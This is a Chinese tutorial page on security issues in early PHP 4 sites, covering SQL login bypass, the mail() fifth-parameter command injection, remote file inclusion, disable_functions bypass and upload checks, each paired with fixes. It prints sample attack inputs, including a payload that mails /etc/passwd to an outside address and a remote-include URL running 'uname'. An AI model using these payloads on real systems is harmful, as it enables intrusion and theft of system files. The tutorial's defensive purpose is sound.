PHP網(wǎng)站開發(fā)過程的安全知識(shí)_PHP教程
推薦:學(xué)習(xí)動(dòng)態(tài)網(wǎng)頁制作PHP技術(shù)的正則表達(dá)式正則表達(dá)式難于書寫、難于閱讀、難于維護(hù),經(jīng)常錯(cuò)誤匹配意料不到的文本或者錯(cuò)過了有效的文本,這些問題都是由正則表達(dá)式的表現(xiàn)和能力引起的。每個(gè)元字符(metacharacter)的能力和細(xì)微差別組合在一起,使得代碼不借助于智力技巧就無法解釋。 許多包含一定特性
1、古老的欺騙SQL語句
在默認(rèn)模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。
這樣所有從GET/POST/Cookie來的變量的單引號(hào)(')、雙引號(hào)(")、反斜杠backslash(\)以及空字元NUL
(the null byte)都會(huì)被加上反斜杠,以使數(shù)據(jù)庫能夠正確查詢。
但是在php-4-RC2的時(shí)候引入了一個(gè)配置文件php.ini-optimized,這個(gè)優(yōu)化的php.ini卻是
magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會(huì)把php.ini-optimized拷到
/usr/local/lib/php.ini,這時(shí)就比較危險(xiǎn)。象比較簡單的驗(yàn)證,假設(shè)沒有過濾必要的字符:
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我們就可以在用戶框和密碼框輸入1‘ or 1='1通過驗(yàn)證了。這是非常古董的方法了,這個(gè)語句會(huì)
替換成這樣:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因?yàn)閛r 1='1'成立,所以通過了。
解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來的并且用在SQL
中的變量加一個(gè)自定義的函數(shù):
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是為了你的程序能安全移植在各種系統(tǒng)里。
2、mail函數(shù)的第五個(gè)參數(shù)
在php-4.0.5的時(shí)候,mail函數(shù)引入了第五個(gè)參數(shù),用來設(shè)置在實(shí)際發(fā)送郵件的時(shí)候增加額外的命令行參數(shù),但是沒有很好的檢查特殊SHELL命令字符,所以出現(xiàn)執(zhí)行命令的大問題。就像手冊里的例子:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");
這個(gè)是存在問題的,如果$SERVER_NAME=;mail mb5u@mb5u.com < /etc/passwd就能把機(jī)器的密碼發(fā)送到我的信箱了。
這里提醒一下,php手冊里還有好幾個(gè)例子存在安全問題的,大家實(shí)際使用的時(shí)候不要照搬,它只是演示函數(shù)的基本功能,理解了就可以了。
對于mail函數(shù)的這個(gè)問題,最簡單的我們就不用這個(gè)第五個(gè)參數(shù),要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新編譯。
3、UNIX版的require, include函數(shù)
win版本的require和include函數(shù)是不支持HTTP和FTP遠(yuǎn)程文件包含的,而UNIX版本默認(rèn)都是支持遠(yuǎn)程包含文件。
require和include不管你是什么擴(kuò)展名的,把你包含進(jìn)來就作為程序的一部分來執(zhí)行。
我們在寫程序的時(shí)候?yàn)榱顺绦虻哪K化,以及程序的可移植性,不可避免的用到很多require或include函數(shù),而且有時(shí)用變量作為參數(shù),比如:include("$something"); 如果這時(shí)用戶能控制$something參數(shù),而這個(gè)參數(shù)又沒有過濾,那就慘拉。
首先可以看任何web用戶有讀權(quán)限的文件,假設(shè)這個(gè)程序叫http://victim/test.php,這樣我們就可以用如下
url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。
另外可以利用其遠(yuǎn)程文件包含的功能執(zhí)行命令。比如我在www.AAA.org下建立一個(gè)文件test.php,內(nèi)容是:
http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運(yùn)行任
意的命令。
phpMyAdmin也出現(xiàn)了這個(gè)問題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數(shù)判斷文件是否存在,而這個(gè)file_exist是不支持遠(yuǎn)程文件的,所以上面第二種辦法無法直接使用。但是我們可以利用apache的日志功能,請求一個(gè)帶php代碼的url,這樣,something指定為apache的日志也可以執(zhí)行命令了,但是apache的日志通常比較大,有太多雜亂信息。
http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執(zhí)行命令的腳本上傳,會(huì)在服務(wù)器的文件上傳臨時(shí)目錄里產(chǎn)生php8Ta02I之類的文件名,由于這時(shí)文件是存在的,所以能通過file_exist函數(shù),從而執(zhí)行上傳文件里的執(zhí)行腳本。
所以對于include, require函數(shù)的使用一定要小心,特別是以包含的文件以參數(shù)指定這種方式,參數(shù)絕對不能讓用戶來控制。還有通過修改php.ini文件去掉遠(yuǎn)程文件包含這個(gè)功能。這個(gè)在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來關(guān)閉。
4、disable_function
在php-4.0.1,php.ini里引入了一項(xiàng)功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數(shù)。
比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時(shí)候只會(huì)提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因?yàn)閜hp采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令:
$output = `ls -al`;
echo "
$output";
?>
這個(gè)只有設(shè)成safe_mode才能避免,可是可惡的safe_mode實(shí)在是限制太多了,做其它事情也有些礙手礙腳。
5、file upload
php文件上傳的問題在文章http://www.ghpqjb.com/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個(gè)比較嚴(yán)重的問題,一般我們要上傳的文件也會(huì)放在web目錄,所以容易給攻擊者得到系統(tǒng)的一些web用戶能讀的文件。
幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù)。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數(shù)了,用move_uploaded_file代替,它會(huì)檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個(gè)函數(shù):
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
$tmp_file = dirname(tempnam('', ''));
}
$tmp_file.='/'.basename($filename);
/* User might have trailing slash in php.ini... */
return (ereg_replace('/ ', '/', $tmp_file) == $filename);
}
這個(gè)漏洞在安全焦點(diǎn)呆了很久,只是在copy之前有很多驗(yàn)證阿、判斷阿的語句,所以使之攻擊存在相當(dāng)?shù)碾y度。
還有,千萬不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因?yàn)檫@些變量太容易被偽造了。
呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。
分享:單元測試對PHP代碼的檢查測試驅(qū)動(dòng)的開發(fā)和單元測試是確保代碼在經(jīng)過修改和重大調(diào)整之后依然能如我們期望的一樣工作的最新方法。在本文中,您將學(xué)習(xí)到如何在模塊、數(shù)據(jù)庫和用戶界面(UI)層對自己的 PHP 代碼進(jìn)行單元測試。 現(xiàn)在是凌晨 3 點(diǎn)。我們怎樣才能知道自己的代碼依然在工作呢?
- PHPNOW安裝Memcached擴(kuò)展方法詳解
- php記錄頁面代碼執(zhí)行時(shí)間
- PHP中獎(jiǎng)概率的抽獎(jiǎng)算法程序代碼
- apache設(shè)置靜態(tài)文件緩存方法介紹
- php對圖像的各種處理函數(shù)代碼小結(jié)
- PHP 關(guān)于訪問控制的和運(yùn)算符優(yōu)先級(jí)介紹
- 關(guān)于PHP語言構(gòu)造器介紹
- php/js獲取客戶端mac地址的實(shí)現(xiàn)代碼
- php5.5新數(shù)組函數(shù)array_column使用
- PHP preg_match的匹配多國語言的技巧
- php 中序列化和json使用介紹
- php采集文章中的圖片獲取替換到本地
PHP教程Rss訂閱編程教程搜索
PHP教程推薦
- Zend Framework 入門——多國語言支持
- PHP最常用的2種設(shè)計(jì)模式:工廠模式和單例模式
- 解析將多維數(shù)組轉(zhuǎn)換為支持curl提交的一維數(shù)組格式
- 《PHP設(shè)計(jì)模式介紹》第一章 編程慣用法
- PHP技術(shù):txtSQL安裝手冊中文版
- 談PHP編程在WAP開發(fā)中的應(yīng)用
- PHP函數(shù):PHP的通用檢測函數(shù)總結(jié)
- PHP計(jì)算未知長度的字符串哪個(gè)字符出現(xiàn)的次數(shù)最多
- 怎樣得到一個(gè)字符串的最后一個(gè)字符
- 解答網(wǎng)頁中PHP腳本中include文件報(bào)錯(cuò)的方法
- 相關(guān)鏈接:
- 教程說明:
PHP教程-PHP網(wǎng)站開發(fā)過程的安全知識(shí)
。